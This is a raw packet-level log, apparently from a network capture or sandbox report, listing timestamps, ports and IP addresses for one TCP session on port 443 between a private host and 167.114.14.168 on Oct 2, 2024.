Oct 2, 2024 06:10:26.207254887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.207272053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.207329035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.207334995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.207387924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.207689047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.207705021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.207757950 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.207763910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.207779884 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.207803011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.216658115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.216674089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.216744900 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.216749907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.216789007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.217178106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.217196941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.217232943 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.217237949 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.217262983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.217286110 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.290725946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.290755033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.290795088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.290802956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.290838957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.290853024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.291968107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.291984081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.292041063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.292051077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.292073965 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.292097092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.295222998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.295238972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.295296907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.295304060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.295341969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.295614004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.295629025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.295659065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.295663118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.295700073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.295725107 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.298160076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.298173904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.298233986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.298240900 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.298275948 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.298487902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.298501968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.298543930 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.298549891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.298585892 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.307408094 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.307423115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.307493925 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.307501078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.307540894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.307861090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.307877064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.307914019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.307919979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.307933092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.307965040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.381243944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.381274939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.381325006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.381340981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.381371975 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.381386995 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.382750988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.382765055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.382797956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.382802010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.382829905 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.382843971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.385770082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.385783911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.385838032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.385843992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.385884047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.386302948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.386318922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.386365891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.386370897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.386396885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.386415958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.388788939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.388803959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.388856888 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.388861895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.388900995 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.389094114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.389110088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.389153004 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.389157057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.389197111 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.390496016 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.400424004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.400439978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.400501013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.400506020 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.400542021 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.400578022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.400593042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.400623083 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.400626898 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.400655031 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.400665045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.472801924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.472816944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.472930908 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.472939968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.472981930 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.473637104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.473650932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.473696947 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.473702908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.473742008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.476558924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.476578951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.476639032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.476644039 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.476680040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.477024078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.477040052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.477094889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.477101088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.477138042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.481266022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.481283903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.481369019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.481374025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.481411934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.481430054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.481443882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.481472969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.481477976 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.481489897 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.481513023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.489393950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.489411116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.489521980 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.489526987 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.489599943 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.489856005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.489870071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.489937067 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.489947081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.489983082 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.495023012 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.562644958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.562660933 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.562728882 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.562740088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.562779903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.566361904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.566378117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.566427946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.566435099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.566474915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.568161011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.568175077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.568227053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.568232059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.568273067 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.568995953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.569010019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.569050074 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.569055080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.569092035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.572046041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.572062016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.572110891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.572117090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.572129011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.572153091 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.572424889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.572439909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.572469950 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.572474957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.572501898 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.572520971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.580029011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.580043077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.580101967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.580107927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.580147028 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.580580950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.580595016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.580626011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.580631018 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.580646992 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.580671072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.653292894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.653309107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.653369904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.653386116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.653428078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.654839039 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.654853106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.654891968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.654897928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.654913902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.654931068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.658178091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.658195019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.658229113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.658235073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.658256054 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.658282995 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.659177065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.659193993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.659262896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.659269094 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.659306049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.660744905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.660758972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.660798073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.660803080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.660821915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.660840988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.661138058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.661154985 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.661194086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.661199093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.661231995 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.669938087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.669954062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.670003891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.670008898 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.670047045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.670392036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.670408010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.670439959 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.670444012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.670464039 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.671550035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.743943930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.743958950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.744040012 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.744049072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.744079113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.744100094 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.745620012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.745634079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.745668888 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.745672941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.745701075 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.745714903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.748513937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.748532057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.748579979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.748584032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.748620033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.749003887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.749017954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.749068975 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.749073982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.749114037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.751300097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.751315117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.751379967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.751388073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.751429081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.751868963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.751885891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.751915932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.751921892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.751954079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.751961946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.760610104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.760626078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.760695934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.760700941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.760740042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.760973930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.760989904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.761037111 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.761043072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.761082888 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.835629940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.835650921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.835740089 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.835746050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.835781097 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.836710930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.836726904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.836786032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.836791992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.836831093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.839200974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.839217901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.839276075 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.839281082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.839319944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.839709044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.839725018 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.839767933 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.839771986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.839804888 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.839823008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.842072964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.842088938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.842148066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.842153072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.842192888 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.842513084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.842535973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.842565060 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.842570066 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.842601061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.842607975 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.851320982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.851336002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.851406097 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.851412058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.851452112 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.851667881 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.851684093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.851752043 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.851757050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.851830006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.926187038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.926203012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.926254034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.926278114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.926294088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.926320076 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.926781893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.926798105 CEST	443	49744	167.114.14.168	192.168.2.4
